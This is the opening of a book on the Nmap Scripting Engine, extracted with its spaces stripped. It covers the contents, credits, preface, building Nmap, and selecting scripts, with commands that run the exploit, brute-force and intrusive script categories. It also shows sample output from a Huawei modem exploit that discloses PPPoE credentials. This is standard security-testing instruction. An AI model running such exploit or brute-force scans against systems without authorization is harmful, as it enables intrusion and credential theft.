mastering the nmap scripting enginebaratev.sourceforge.net/submarine/04. mastering the nmap...
TRANSCRIPT
MasteringtheNmapScriptingEngine
TableofContents
MasteringtheNmapScriptingEngine
Credits
AbouttheAuthor
Acknowledgments
AbouttheReviewers
www.PacktPub.com
Supportfiles,eBooks,discountoffers,andmore
Whysubscribe?
FreeaccessforPacktaccountholders
Preface
Whatthisbookcovers
Whatyouneedforthisbook
Whothisbookisfor
Conventions
Readerfeedback
Customersupport
Downloadingtheexamplecode
Errata
Piracy
Questions
1.IntroductiontotheNmapScriptingEngine
InstallingNmap
BuildingNmapfromsourcecode
KeepingNmapuptodate
RunningNSEscripts
Scriptcategories
NSEscriptselection
Selectingbyscriptnameorcategory
Selectingbyfilenameorfolder
Advancedscriptselectionwithexpressions
NSEscriptarguments
Loadingscriptargumentsfromafile
ForcingtheexecutionofNSEscripts
DebuggingNSEscripts
ScanphasesandNSE
NSEscriptrules
ApplicationsofNSEscripts
Information-gathering
CollectingUPNPinformation
FindingallhostnamesresolvingtothesameIPaddress
Advancedhostdiscovery
Discoveringhostswithbroadcastpings
ListeningtoyourLANtodiscovertargets
Passwordauditing
Brute-forcingMySQLpasswords
Brute-forcingSMTPpasswords
Vulnerabilityscanning
DetectinginsecureMySQLserverconfigurations
Detectingwebserversvulnerabletoslowdenial-of-serviceattacks
DetectingSSLserversvulnerabletoCVE-2014-3566
Settingupadevelopmentenvironment
HalcyonIDE
Addingnewscripts
Summary
2.LuaFundamentals
QuicknotesaboutLua
Comments
Dummyassignments
Indexes
Semantics
Coercion
Safelanguage
Booleans
Flowcontrolstructures
Conditionalstatements–if-then,else,andelseif
Loops–while
Loops–repeat
Loops–for
Datatypes
Stringhandling
Characterclasses
Magiccharacters
Patterns
Captures
Repetitionoperators
Concatenation
Findingsubstrings
Stringrepetition
Stringlength
Formattingstrings
Splittingandjoiningstrings
Commondatastructures
Tables
Arrays
Linkedlists
Sets
Queues
Customdatastructures
http-enumdatabase
http-default-accounts
I/Ooperations
Modes
Openingafile
Readingafile
Writingafile
Closingafile
Coroutines
Creatingacoroutine
Executingacoroutine
Determiningtherunningcoroutine
Gettingthestatusofacoroutine
Yieldingacoroutine
Metatablesandmetamethods
Arithmeticmetamethods
Relationalmetamethods
Summary
3.NSEDataFiles
Locatingyourdatadirectory
Datadirectorysearchorder
Usernameandpasswordlistsusedinbrute-forceattacks
Usernamedictionaries
Passworddictionaries
Webapplicationauditingdatafiles
http-fingerprints.lua
http-sql-errors.lst
http-web-files-extensions.lst
http-devframework-fingerprints.lua
http-folders.txt
vhosts-default.lst
wp-plugins.lst
DBMS-auditingdatafiles
mysql-cis.audit
oracle-default-accounts.lst
oracle-sids
JavaDebugWireProtocoldatafiles
JDWPExecCmd.java
JDWPSystemInfo.class
OtherNSEdatafiles
mygroupnames.db
rtsp-urls.txt
snmpcommunities.lst
ssl-ciphers
ssl-fingerprints
ike-fingerprints.lua
tftplist.txt
OtherNmapdatafiles
Summary
4.ExploringtheNmapScriptingEngineAPIandLibraries
UnderstandingthestructureofanNSEscript
OtherNSEscriptfields
Author
License
Dependencies
AsampleNSEscript
Exploringenvironmentvariables
AccessingtheNmapAPI
NSEarguments
Hosttable
Porttable
ExceptionhandlinginNSEscripts
TheNSEregistry
WritingNSElibraries
ExtendingthefunctionalityofanNSElibrary
NSEmodulesinC/C++
ExploringotherpopularNSElibraries
stdnse
openssl
target
shortport
creds
vulns
http
Summary
5.EnhancingVersionDetection
UnderstandingversiondetectionmodeinNSE
Phasesofversiondetection
Adjustingtheraritylevelofaversionscan
Updatingtheversionprobesdatabase
Takingacloserlookatthefileformat
Excludingscannedportsfromversiondetection
Usingfallbackstomatchotherversionprobes
Gettingtoknowpost-processors
NmapScriptingEngine
SSL
Writingyourownversiondetectionscripts
Definingthecategoryofaversiondetectionscript
Definingtheportruleofaversiondetectionscript
Updatingtheportversioninformation
Settingthematchconfidencelevel
Examplesofversiondetectionscripts
NSEscript–modbus-discover
NSEscript–ventrilo-info
NSEscript–rpc-grind
Summary
6.DevelopingBrute-forcePassword-auditingScripts
WorkingwiththebruteNSElibrary
Selectingabrutemode
ImplementingtheDriverclass
Passinglibraryanduseroptions
ReturningvalidaccountsviaAccountobjects
HandlingexecutionerrorsgracefullywiththeErrorclass
ReadingusernamesandpasswordlistswiththeunpwdbNSElibrary
Managingusercredentialsfoundduringscans
WritinganNSEscripttolaunchpassword-auditingattacksagainsttheMikroTikRouterOSAPI
Summary
7.FormattingtheScriptOutput
OutputformatsandNmapScriptingEngine
XMLstructuredoutput
Implementingstructuredoutputinyourscripts
Printingverbositymessages
Includingdebugginginformation
Theweaknessofthegrepableformat
NSEscriptoutputintheHTMLreport
Summary
8.WorkingwithNetworkSocketsandBinaryData
WorkingwithNSEsockets
CreatinganNSEsocket
ConnectingtoahostusingNSEsockets
SendingdatausingNSEsockets
ReceivingdatausingNSEsockets
ClosingNSEsockets
Examplescript–sendingapayloadstoredinafileoveraNSEsocket
UnderstandingadvancednetworkI/O
Openingasocketforrawpacketcapture
Receivingrawpackets
Sendingpacketsto/fromIPandEthernetlayers
Manipulatingrawpackets
Packingandunpackingbinarydata
BuildingEthernetframes
RawpackethandlingandNSEsockets
Summary
9.Parallelism
ParallelismoptionsinNmap
Scanningmultiplehostssimultaneously
Increasingthenumberofprobessent
Timingtemplates
ParallelismmechanismsinLua
Coroutines
Workingwithcoroutines
ParallelismmechanismsinNSE
NSEthreads
Conditionvariables
Mutexes
ConsumingTCPconnectionswithNSE
Summary
10.VulnerabilityDetectionandExploitation
Vulnerabilityscanning
TheexploitNSEcategory
ExploitingRealVNC
DetectingvulnerableWindowssystems
Exploitingtheinfamousheartbleedvulnerability
Exploitingshellshockinwebapplications
Reportingvulnerabilities
UsingthevulnslibraryinyourNSEscripts
Summary
A.ScanPhases
B.NSEScriptTemplate
Othertemplatesonline
C.ScriptCategories
D.NmapOptionsMindMap
E.References
Index
MasteringtheNmapScriptingEngine
MasteringtheNmapScriptingEngineCopyright©2015PacktPublishing
Allrightsreserved.Nopartofthisbookmaybereproduced,storedinaretrievalsystem,ortransmittedinanyformorbyanymeans,withoutthepriorwrittenpermissionofthepublisher,exceptinthecaseofbriefquotationsembeddedincriticalarticlesorreviews.
Everyefforthasbeenmadeinthepreparationofthisbooktoensuretheaccuracyoftheinformationpresented.However,theinformationcontainedinthisbookissoldwithoutwarranty,eitherexpressorimplied.Neithertheauthor,norPacktPublishing,anditsdealersanddistributorswillbeheldliableforanydamagescausedorallegedtobecauseddirectlyorindirectlybythisbook.
PacktPublishinghasendeavoredtoprovidetrademarkinformationaboutallofthecompaniesandproductsmentionedinthisbookbytheappropriateuseofcapitals.However,PacktPublishingcannotguaranteetheaccuracyofthisinformation.
Firstpublished:February2015
Productionreference:1110215
PublishedbyPacktPublishingLtd.
LiveryPlace
35LiveryStreet
BirminghamB32PB,UK.
ISBN978-1-78216-831-7
www.packtpub.com
CreditsAuthor
PaulinoCalderónPale
Reviewers
FabianAffolter
PranshuBajpai
AlexeyLapitsky
CommissioningEditor
KartikeyPandey
AcquisitionEditor
ReshmaRaman
ContentDevelopmentEditor
AjinkyaParanjpe
TechnicalEditor
SebastianRodrigues
CopyEditor
VikrantPhadke
ProjectCoordinator
HarshalVed
Proofreaders
SimranBhogal
StephenCopestake
Indexer
TejalSoni
ProductionCoordinator
ShantanuN.Zagade
CoverWork
ShantanuN.Zagade
AbouttheAuthorPaulinoCalderónPale(@calderpwn)livesonaCaribbeanislandinMexicocalledCozumel.HeisthecofounderofWebsec,acompanyofferinginformationsecurityconsultingservicesinMexicoandCanada.HelearnedhowtoprogramandadministerITinfrastructuresearlyinhislife,andtheseskillscameinhandywhenhejoinedtheinformationsecurityindustry.Today,heloveslearningaboutnewtechnologiesandpenetrationtesting,conductingdatagatheringexperiments,anddevelopingsoftware.HealsolovestoattendtechnologyeventsandhasgivenspeechesandheldworkshopsatoveradozenoftheminCanada,theUnitedStates,Mexico,andColombia.
Inthesummerof2011,PaulinojoinedGoogle’sSummerofCodeeventtoworkontheNmapprojectasanNSEdeveloper.HefocusedonimprovingthewebscanningcapabilitiesofNmapandhaskeptoncontributingtotheprojectsincethen.
AcknowledgmentsAsalways,IwouldliketodedicatethisbooktoalotofspecialpeoplewhohavehelpedmegetwhereIam.
SpecialthankstoFyodorformentoringmeduringGoogle’sSummerofCodeandgivingmetheopportunitytojointheNmapproject.
Abigthankstothedevelopmentteam:DavidFifield,RonBowes,PatrikKarlsson,TomSellers,PatrickDonelly,DanielMiller,BrendanColes,HenriDoreau,ToniRoutto,DjalalHarouni,VlatkoKosturjak,KrisKatterjohn,MartinHolstSwende,JacekWielemborek,andLuisMartin,fromwhomIhavelearnedalot.
Specialthankstomyfather,Dr.PaulinoCalderónMedina,whoisnolongerwithusbutwillbegreatlymissed.Thankstomymother,Edith,andbrothers,YaelandOmar,whohavealwaysbeensupportiveandgivennothingbutlove.
AbigthanksgoestoMarthaMoguel,withoutwhomthisbookwouldhavebeenbetterwhileeverythingelsewouldhavebeenworse.Thankyouforalwaysbeingthereforme.Iwillalwaysloveyou.
SpecialthankstotherestoftheWebsecninjas:Lenin“Alevsk”Huerta,Luis“Sinnet”Colunga,Luis“Kazcinski”Ramirez,Roberto“LightOS”Salgado,andPedro“Hkm”Joaquin.
AbigthankstomyfriendsfromUSA,Colombia,Mexico,Cozumel,andCanada.Itisimpossibletolistallofyou,butknowthatIappreciateallyourloveandsupport.Youarealwaysinmyheart.
Greetingstomyb33rconfriends:CarlosAyala,MarcosSchejtman,LuisCastañeda,DiegoBauche,andAlejandroHernandez.
AbouttheReviewersFabianAffolterisananalystandsystemengineer.Hebeganhisprofessionalcareerinthemechanicalsector,wherehegotacquaintedwithcomputer-aideddesign.Duringhisstudies,hebecameinterestedinmicrocontrollersandindustrialbuscontrolsystems.Today,hisfocusisoninformationsecurity,networksecurity,configurationmanagement,andprovisioning.Fabianisalong-timecontributortovariousopensourceprojects,especiallytheFedoraprojectandAlpineLinux.HeisalsooneofthemaintainersoftheFedoraSecurityLabandthedeveloperoftheFedoraSecurityLab’stestbench.FabianholdsaBScinengineeringandenjoysreadingandhiking.
PranshuBajpai(MBA,MS)isasecurityresearcherwithawiderangeofinterests:penetrationtesting,computerforensics,privacy,wirelesssecurity,malwareanalysis,cryptography,Linuxdistributions,andsoon.Inthepast,hewashiredasapenetrationtesterbygovernmentbodiesandprivateorganizationstosimulateattacksonsystems,networks,andwebservers.Accordingly,hisresponsibilitiesincludedvulnerabilityresearch,exploitkitdeployment,maintainingaccess,andreporting.Pranshuhasauthoredseveralpapersininternationalsecurityjournals,andhasbeenconsistentlyhiredbytoporganizationstoformulateinformationsecuritycontent.Inhissparetime,heenjoyslisteningtoclassicrockmusicandbloggingatwww.lifeofpentester.blogspot.com.
Pranshu’se-mailIDis<[email protected]>,andyoucancontacthimonLinkedInathttp://in.linkedin.com/in/pranshubajpai.
Iwanttothanktheopensourcecommunityforsharingtheirknowledgewitheveryoneandhelpingallofusgrowtogether.
AlexeyLapitskyworksasasitereliabilityengineeratSpotify.Heisthefounderofhttps://realisticgroup.com/andasecuritystart-upnamedFlimb.
www.PacktPub.com
Supportfiles,eBooks,discountoffers,andmoreForsupportfilesanddownloadsrelatedtoyourbook,pleasevisitwww.PacktPub.com.
DidyouknowthatPacktofferseBookversionsofeverybookpublished,withPDFandePubfilesavailable?YoucanupgradetotheeBookversionatwww.PacktPub.comandasaprintbookcustomer,youareentitledtoadiscountontheeBookcopy.Getintouchwithusat<[email protected]>formoredetails.
Atwww.PacktPub.com,youcanalsoreadacollectionoffreetechnicalarticles,signupforarangeoffreenewslettersandreceiveexclusivediscountsandoffersonPacktbooksandeBooks.
https://www2.packtpub.com/books/subscription/packtlib
DoyouneedinstantsolutionstoyourITquestions?PacktLibisPackt’sonlinedigitalbooklibrary.Here,youcansearch,access,andreadPackt’sentirelibraryofbooks.
Whysubscribe?FullysearchableacrosseverybookpublishedbyPacktCopyandpaste,print,andbookmarkcontentOndemandandaccessibleviaawebbrowser
FreeaccessforPacktaccountholdersIfyouhaveanaccountwithPacktatwww.PacktPub.com,youcanusethistoaccessPacktLibtodayandview9entirelyfreebooks.Simplyuseyourlogincredentialsforimmediateaccess.
PrefaceMasteringtheNmapScriptingEnginewilltakeyouthroughtheprocessofdevelopingLuascriptsfortheNmapScriptingEngine(NSE).TheNmapScriptingEngine’scapabilitiesareexploredthroughout10chapters.Theycoverthefundamentalconcepts,operations,andlibrariestoteachyouhowtoextendNmapscanswithcustomtasks.
TheinformationIselectedforthisbookattemptstoansweroneofthemostcommonquestionsreceivedontheNmapdevelopmentmailinglist:“HowdoIstartwritingNSEscripts?”Ihavetriedtoexplaineachoftheconceptswithexamplesandspecifictaskimplementations.Expecttoreadalotofcode!Theonlywayoftrulylearningsomethingisbypracticing,sodon’tjustskimthroughthebook;stopateachchapterandattempttowritenewNSEscripts.Ihavealsocreatedawebsite(http://www.mastering-nse.com)whereIwillpostnews,additionalcontent,andothersurprises.
IhopeyouenjoythisbookandthatithelpsyouthroughthepathofmasteringtheNmapScriptingEngine.
WhatthisbookcoversChapter1,IntroductiontotheNmapScriptingEngine,coversthefundamentalsoftheNmapScriptingEngineanditsapplications.
Chapter2,LuaFundamentals,describesthefundamentalsofLuaprogramming.
Chapter3,NSEDataFiles,coversNSEdatabasesandteachesyouhowtofine-tunethemtooptimizeresults.
Chapter4,ExploringtheNmapScriptingEngineAPIandLibraries,explorestheNmapScriptingEngineAPIandusageofthemostimportantNSElibraries.
Chapter5,EnhancingVersionDetection,explainstheNmapversiondetectionengineandNSEversionscripts.
Chapter6,DevelopingBrute-forcePassword-auditingScripts,describestheprocessofimplementingtheBruteclasstocreaterobustbrute-forcepassword-auditingscripts.
Chapter7,FormattingtheScriptOutput,coversthedifferentoutputmodesinNmapandNSE.
Chapter8,WorkingwithNetworkSocketsandBinaryData,teachesyouallthetopicsrelatedtonetworkI/Ooperationsandhandlingbinarydata.
Chapter9,Parallelism,introducestheconceptsofparallelismandcollaborativemultitaskinginLuaandtheNmapScriptingEngine.
Chapter10,VulnerabilityDetectionandExploitation,coversvulnerabilityexploitationwiththeNmapScriptingEngine.
AppendixA,ScanPhases,explainsthedifferentphasesofanNmapscan.
AppendixB,NSEScriptTemplate,coverstherequiredfieldsandstructureofanNSEscript.
AppendixC,ScriptCategories,demonstratestheavailableNSEcategories.
AppendixD,NmapOptionsMindMap,illustratesalltheavailableoptionsinNmapusingamindmap.
AppendixE,References,includesallthereferencesofthisbookandlinksforadditionalreading.
WhatyouneedforthisbookYouwillneedarecentcopyofNmap(6.x)tofollowtheexamplesofthisbook.RefertoChapter1,IntroductiontotheNmapScriptingEngine,forinstallationinstructions.
ForChapter2,LuaFundamentals,youmightalsoneedaLuainterpreterinstalledonyoursystem.
WhothisbookisforThisbookisaimedatanyonelookingtomastertheNmapScriptingEngineandtheartofdevelopingNSEscripts.Itisperfectfornetworkadministrators,informationsecurityprofessionals,andevenInternetenthusiastswhoarefamiliarwithNmapbutknowthattheyaremissingoutonsomeoftheamazingfeaturesoftheNmapScriptingEngine.ThisbookwillgivereaderstheabilitynotonlytoworkwiththeNmapScriptingEnginebutalsotoextendthecapabilitiesofNmapbydevelopingcustomNSEscripts.
ConventionsInthisbook,youwillfindanumberoftextstylesthatdistinguishbetweendifferentkindsofinformation.Herearesomeexamplesofthesestylesandexplanationsoftheirmeanings.
Codewordsintext,databasetablenames,foldernames,filenames,fileextensions,pathnames,dummyURLs,userinput,andTwitterhandlesareshownasfollows:“GotothenmapdirectorythatwasjustcreatedbySubversion.”
Ablockofcodeissetasfollows:
Driver={
new=function(self,host,port,options)
localo={}
setmetatable(o,self)
self.__index=self
o.options=options
returno
end
Whenwewishtodrawyourattentiontoaparticularpartofacodeblock,therelevantlinesoritemsaresetinbold:
staticconstluaL_Reglibs[]={
{NSE_PCRELIBNAME,luaopen_pcrelib},
{NSE_NMAPLIBNAME,luaopen_nmap},
{NSE_BINLIBNAME,luaopen_binlib},
{BITLIBNAME,luaopen_bit},
{TESTLIBNAME,luaopen_test},
{LFSLIBNAME,luaopen_lfs},
{LPEGLIBNAME,luaopen_lpeg},
#ifdefHAVE_OPENSSL
{OPENSSLLIBNAME,luaopen_openssl},
#endif
{NULL,NULL}
};
Anycommand-lineinputoroutputiswrittenasfollows:
#$nmap--scriptbrute--script-argsbrute.delay=3<target>
Newtermsandimportantwordsareshowninbold.Wordsthatyouseeonthescreen,forexample,inmenusordialogboxes,appearinthetextlikethis:“Ifversiondetectionisenabled,thetableofresultswillcontaintheadditionalVERSIONcolumn.”
NoteWarningsorimportantnotesappearinaboxlikethis.
TipTipsandtricksappearlikethis.
ReaderfeedbackFeedbackfromourreadersisalwayswelcome.Letusknowwhatyouthinkaboutthisbook—whatyoulikedordisliked.Readerfeedbackisimportantforusasithelpsusdeveloptitlesthatyouwillreallygetthemostoutof.
Tosendusgeneralfeedback,simplye-mail<[email protected]>,andmentionthebook’stitleinthesubjectofyourmessage.
Ifthereisatopicthatyouhaveexpertiseinandyouareinterestedineitherwritingorcontributingtoabook,seeourauthorguideatwww.packtpub.com/authors.
CustomersupportNowthatyouaretheproudownerofaPacktbook,wehaveanumberofthingstohelpyoutogetthemostfromyourpurchase.
DownloadingtheexamplecodeYoucandownloadtheexamplecodefilesfromyouraccountathttp://www.packtpub.comforallthePacktPublishingbooksyouhavepurchased.Ifyoupurchasedthisbookelsewhere,youcanvisithttp://www.packtpub.com/supportandregistertohavethefilese-maileddirectlytoyou.
ErrataAlthoughwehavetakeneverycaretoensuretheaccuracyofourcontent,mistakesdohappen.Ifyoufindamistakeinoneofourbooks—maybeamistakeinthetextorthecode—wewouldbegratefulifyoucouldreportthistous.Bydoingso,youcansaveotherreadersfromfrustrationandhelpusimprovesubsequentversionsofthisbook.Ifyoufindanyerrata,pleasereportthembyvisitinghttp://www.packtpub.com/submit-errata,selectingyourbook,clickingontheErrataSubmissionFormlink,andenteringthedetailsofyourerrata.Onceyourerrataareverified,yoursubmissionwillbeacceptedandtheerratawillbeuploadedtoourwebsiteoraddedtoanylistofexistingerrataundertheErratasectionofthattitle.
Toviewthepreviouslysubmittederrata,gotohttps://www.packtpub.com/books/content/supportandenterthenameofthebookinthesearchfield.TherequiredinformationwillappearundertheErratasection.
PiracyPiracyofcopyrightedmaterialontheInternetisanongoingproblemacrossallmedia.AtPackt,wetaketheprotectionofourcopyrightandlicensesveryseriously.IfyoucomeacrossanyillegalcopiesofourworksinanyformontheInternet,pleaseprovideuswiththelocationaddressorwebsitenameimmediatelysothatwecanpursuearemedy.
Pleasecontactusat<[email protected]>withalinktothesuspectedpiratedmaterial.
Weappreciateyourhelpinprotectingourauthorsandourabilitytobringyouvaluablecontent.
QuestionsIfyouhaveaproblemwithanyaspectofthisbook,youcancontactusat<[email protected]>,andwewilldoourbesttoaddresstheproblem.
Chapter1.IntroductiontotheNmapScriptingEngineTheNmapScriptingEngine(NSE)revolutionizedthecapabilitiesofNmap.ItwasintroducedduringGoogle’sSummerofCodein2007,andithasbecomeanarsenalbyitselfwithalmost500officialscripts.Althoughthefirstscriptswereaimedatimprovingserviceandhostdetection,peoplequicklystartedsubmittingscriptsforothertasks.Today,thereare14categoriescoveringabroadrangeoftasks,fromnetworkdiscoverytodetectionandexploitationofsecurityvulnerabilities.YoucanuseNSEscriptstobrute-forceaccountswithweakpasswords,findonlinehostswithdifferentbroadcastrequests,sniffthenetwork,discoverforgottenbackupfilesinwebservers,detectthelatestSSL3.0vulnerabilityknownasPoodle,andevenexploitvulnerabilitiesinpopularsoftware.
Thescriptcollectiongrowsrapidly,soIrecommendstayingup-to-datebysubscribingtotheNmapDevelopmentmailinglist,locatedathttp://nmap.org/mailman/listinfo/dev.Nmap’scommunityisveryactive,soIencourageyoutoalwayskeepanupdatedcopyamongyourpenetrationtestingtools.
NSEscriptsaregreatfordraftingproof-of-conceptcodesincethemodulesarewritteninLua,asimpleyetpowerfullanguage.ItallowsustoquicklyprogramanytaskwehaveinmindwiththehelpoftheavailableNSElibraries.Itsflexiblesyntaxiseasytolearn,andI’msureyouwillfindyourselflovingitafterexperimentingwithitforaday.
ThischapterwillintroduceyoutoNSE,coveringseveraltopicsfrominstallationanddevelopmentenvironmentsetuptoadvancedusagetips.Ifyouarefamiliarwiththefollowingtopics,youmayskipthischapter:
BuildingNmapfromsourcecodeRunningNSEscriptsPassingargumentstoNSEscriptsScanningphasesNSEapplicationsSettingupadevelopmentenvironment
IfyouarenotfamiliarwithNSEalready,thischapterwillgetyoupreparedforwhatiscominginthenextchapters.Forthosewithsomeexperience,IstillrecommendgoingthroughthischapterasI’mincludingadvancedtipsrelatedtoscriptselectionandusage.Fireupyourterminalsandlet’sgettowork.
InstallingNmapNmapbinariesforallmajorplatformscanbefoundattheofficialwebsite,athttp://nmap.org/download.html.Alotofdistributionsalsoofferofficialpackages.However,ifyouwantthelatestfeaturesandNSEscripts,youneedtoworkwiththedevelopmentbranch.Thecodeinthisbranchismorestablethanthenameimplies,asthedevelopersmakesuretheircodeisworkingbeforesubmittingittothisbranch.Byalwaysrunningacopyfromthedevelopmentbranch,youalsoalwayshavethelatestbugfixes.
BuildingNmapfromsourcecodeNmapusesSubversion,thefamousVersionControlSystem(VCS),tomanagethesourcecodeoftheproject.First,makesureyouhaveaSubversionclientathand:
$svn--version
OnDebian-basedsystems,youcaninstallSubversionbyrunningthefollowingcommand:
#apt-getinstallsubversion
NoteAgoodalternativetoSubversionisRapidSVN,across-platformSubversionclientwithaGraphicalUserInterface.YoucangetRapidSVNfromhttp://rapidsvn.tigris.org/.
OncetheSubversionclientisinstalled,wegrabthedevelopmentbranchfromtheofficialrepositorieswiththefollowingcommand:
$svncohttps://svn.nmap.org/nmap
Theprecedingcommanddownloadsthelatestrevisionofthedevelopmentbranchintoanewdirectoryinyourcurrentdirectory.Wewillrefertothisfolderasyourworkingcopy.Beforecompiling,youmayneedadditionaltoolsandlibrariessuchasOpenSSL.Makesureyouhavealltherequirementsinstalledbyrunningthefollowingcommand:
#apt-getinstallmakeg++libssl-devautoconf
NowwecancompileandinstallNmap.GotothenmapdirectorythatwasjustcreatedbySubversionandenterthefollowingcommand:
$./configure
Ifeverythingworkedcorrectly,youshouldseeanASCIIdragonwarningyouaboutthepowerofNmap,likethis:
Nowlet’scompileNmapwiththefollowingcommands:
$make
#makeinstall
TipInBSDsystems,rungmakeinsteadofmake.
NowrunNmaptoensurethatitwasinstalledcorrectly.Youshouldseeyourbuildinformation:
#nmap-v
Nmapversion6.47SVN(http://nmap.org)
Platform:x86_64-apple-darwin14.0.0
Compiledwith:nmap-liblua-5.2.3openssl-0.9.8zanmap-libpcre-7.6libpcap-
1.5.3nmap-libdnet-1.12ipv6
Compiledwithout:
Availablensockengines:kqueuepollselect
KeepingNmapuptodateToupdateyourworkingcopy,usethefollowingcommandinsideyourworkingdirectory:
$svnup
Onceyourworkingcopyissynchronizedwiththeremoterepository,weneedtorebuildNmap:
$make
NoteInBSDsystems,rungmake.
Againtoinstallthebinariesanddatafilesinthesystem,usethiscommand:
#makeinstall
RunningNSEscriptsNSEwasdesignedwithflexibilityinmind,andsupportsseveralfeaturestocontroltheexecutionofNSEscripts.Inthischapter,wewilllearnnotonlythatNSEscriptscanbeexecutedduringdifferentscanphasesbutalsothattheycanbeselectedwithahighlevelofgranularity,dependingonhostconditions.Incombinationwithrobustlibrariesandplentyofconfigurationoptions,NSEoffersalevelofflexibilitythatishardtomatchinothertoolsandframeworks.
WecanbegintestingNSEagainstthehost,scanme.nmap.org.ThisserverismanagedbytheNmapprojectandallowsuserstoscanitaslongasthescansarenottoointrusive.Let’sbeginbyrunningascanwithversiondetectionandNSEenabledagainstourtesttarget—scanme.nmap.org:
#nmap–sV–sC-Oscanme.nmap.org
Youshouldseesomethingsimilartothis:
ThepreviouscommandranaSYNscanwithOSdetection(-O),servicedetection(-sV),andmostimportantlywithNSEon(-sC).The-sCoptionenablestheNSEandrunsanyscriptinthedefaultcategory.Thissetofscriptsisconsideredsafeasitwon’tperformanyoperationsthatcouldinterferewithaservicerunningonthetargethost.However,notethatsomeofthescriptsperformactionsthatcanraisealarmsinintrusiondetectionsystems(IDS)andintrusionpreventionsystems(IPS).
NoteAnunprivilegedscancan’taccessrawsockets,whichgenerallyresultsinaslowerscan.However,theSYNscanisthedefaulttypeofscanexecutedwhenNmaprunsinprivilegedmode.
Thesafecategorycontainsscriptssuchasthese:
banner:ThisprintstheresponseofaTCPconnectiontoanopenportbroadcast-ping:Thisdiscovershostswithbroadcastpings
dns-recursion:ThisdetectsDNSserversthatallowrecursionthatmaybeusedinDNSamplificationattacksupnp-info:Thisextractsinformationfromtheupnpservicefirewalk:ThisattemptstodiscoverfirewallsusinganIPTTLexpirationtechnique
Thepreviouslymentionedscriptsareonlyafewcomparedtothecurrenttotalofalmost500.That’sawholelotmoreofinformationthatcanbecollectedbysimplyusingNSE.
ScriptcategoriesThecollectionofNSEscriptsisdividedintothefollowingcategories:
Scriptcategory Description
auth NSEscriptsrelatedtouserauthentication.
broadcast Averyinterestingcategoryofscriptsthatusebroadcastpetitionstogathernetworkinformation.
brute Acategoryforscriptsthathelpconductbrute-forcepasswordauditing.
default Scriptsexecutedwhenascriptscanisexecuted(-sC).
discovery Scriptsrelatedtohostandservicediscovery.
dos Scriptsrelatedtodenial-of-serviceattacks.
exploit Scriptsusedtoexploitsecurityvulnerabilities.
external Thiscategoryisforscriptsdependingonathird-partyservice.
fuzzer NSEscriptsfocusedonfuzzing.
intrusiveAcategoryforscriptsthatmightcrashsomethingorgeneratealotofnetworknoise.Scriptsthatsystemadministratorsmayconsiderintrusivegohere.
malware Acategoryforscriptsrelatedtomalwaredetection.
safe Scriptsthatareconsideredsafeinallsituations.
version Scriptsforadvancedversiondetection.
vuln Scriptsrelatedtodetectingandexploitingsecurityvulnerabilities.
NSEscriptselectionNmapsupportsthe--scriptoptionforscriptselection.Thisoptioncantakeascriptname,NSEcategory,apathtoaNSEfile,afoldercontainingscripts,orevenanexpression.Expressionsallowincredibleflexibilitywhenselectingscripts,aswewillseeinthefollowingsections.
SelectingbyscriptnameorcategoryYoucanexecutescriptsbytheirnameusingthe--scriptNmapoption.Executeseveralscriptsatoncebyseparatingthemwithacomma:
nmap--scripthttp-title<target>
nmap-p80--scripthttp-huawei-hg5xx-vuln<target>
nmap--scripthttp-title,http-methods<target>
Thefollowingscreenshotshowstheoutputofthehttp-huawei-hg5xx-vulnscript.ThisscriptexploitsaremotevulnerabilityinHuaweidevicestoretrievesensitiveinformation,whichincludesthePPPoEcredentialsandthewirelesssecurityconfiguration:
PORTSTATESERVICEVERSION
80/tcpopenhttpHuaweiaDSLmodemEchoLifeHG530(V100R001B122gTelmex)
4.07—UPnP/1.0(ZyXELZyWALL2)
|http-huawei-hg5xx-vuln:
|VULNERABLE:
|RemotecredentialandinformationdisclosureinmodemsHuaweiHG5XX
|State:VULNERABLE(Exploitable)
|Description:
|ModemsHuawei530x,520xandpossiblyothersarevulnerableto
remotecredentialandinformationdisclosure.
|AttackerscanquerytheURIs"/Listadeparametros.html"and
"/wanfun.js"toextractsensitiveinformation
|includingPPPoEcredentials,firmwareversion,model,gateway,dns
serversandactiveconnectionsamongothervalues
|Disclosuredate:2011-01-1
|Extrainformation:
|
|Model:EchoLifeHG530
|Firmwareversion:V100R001B122gTelmex
|ExternalIP:xxx.xxx.xx.xxx
|GatewayIP:xxx.xx.xxx.xxx
|DNS1:200.33.146.249
|DNS2:200.33.146.241
|Networksegment:192.168.1.0
|Activeethernetconnections:0
|Activewirelessconnections:3
|BSSID:0xdeadbeefcafe
|WirelessEncryption(Boolean):1
|PPPoEusername:xxx
|PPPoEpassword:xxx
|References:
|http://routerpwn.com/#huawei
|_http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-
information-disclosure
Toselectawholecategory,simplyusethenameofthecategory(seetheScriptcategoriessection)astheargument.Forexample,toruntheexploitcategory,usethefollowingcommand:
nmap--scriptexploit<target>
Youcanalsorunseveralcategoriesbyseparatingthemwithacomma:
nmap--scriptdiscovery,intrusive<target>
NoteThe-sCoptionismerelyanaliasofthe--scriptdefaultoption.
SelectingbyfilenameorfolderToexecuteaNSEscriptfile,usethiscommand:
nmap--script/path/to/script.nse<target>
Similarlywithcategories,youcanexecuteseveralscriptsbyseparatingthepathswithacomma:
nmap--script/path/to/script.nse,/another/path/script2.nse<target>
Toexecuteallthescriptscontainedinafolder,youonlyneedtopassthefoldernameasanargument:
nmap--script/path/to/folder/<target>
nmap--script/custom-nse-scripts/scanme.nmap.org
TipKeepinmindthatthe--scriptoptionacceptsrelativeandabsolutepathstoscriptsandfolders.Besidesthecurrentdirectory,relativepathscanbelookedforinthefollowingdirectories:
--datadir
$NMAPDIR
~/.nmap
%HOMEPATH%\AppData\Roaming\nmap
ThedirectorycontainingnmapThedirectorycontainingnmapfollowedbythisrelativepath:../share/nmapNMAPDATADIR
AdvancedscriptselectionwithexpressionsExpressionsareusedtodescribeasetofscripts.Let’sgothroughthedifferentscenarioswherewecantakeadvantageofscriptselectionwithexpressions:
Forexample,thenotexploitexpressionwillmatchanyscriptthatdoesnotbelongtotheexploitcategory:
#nmap-sV--script"notexploit"<target>
Theorandandoperatorsallowustoconstructmorecomplexexpressions.Thefollowingexpressionwillmatchanyscriptthatisnotintheintrusive,dos,orexploitcategories:
#nmap--script"not(intrusiveordosorexploit)"-sV<target>
Ifwewouldliketoexecuteallscriptsinthebroadcastanddiscoverycategories,weusethis:
#nmap--script"broadcastanddiscovery"<<target>
Ifyouareselectingscripts,youcanalsousethewildcardcharacter,*:
#nmap--script"snmp-*"<target>
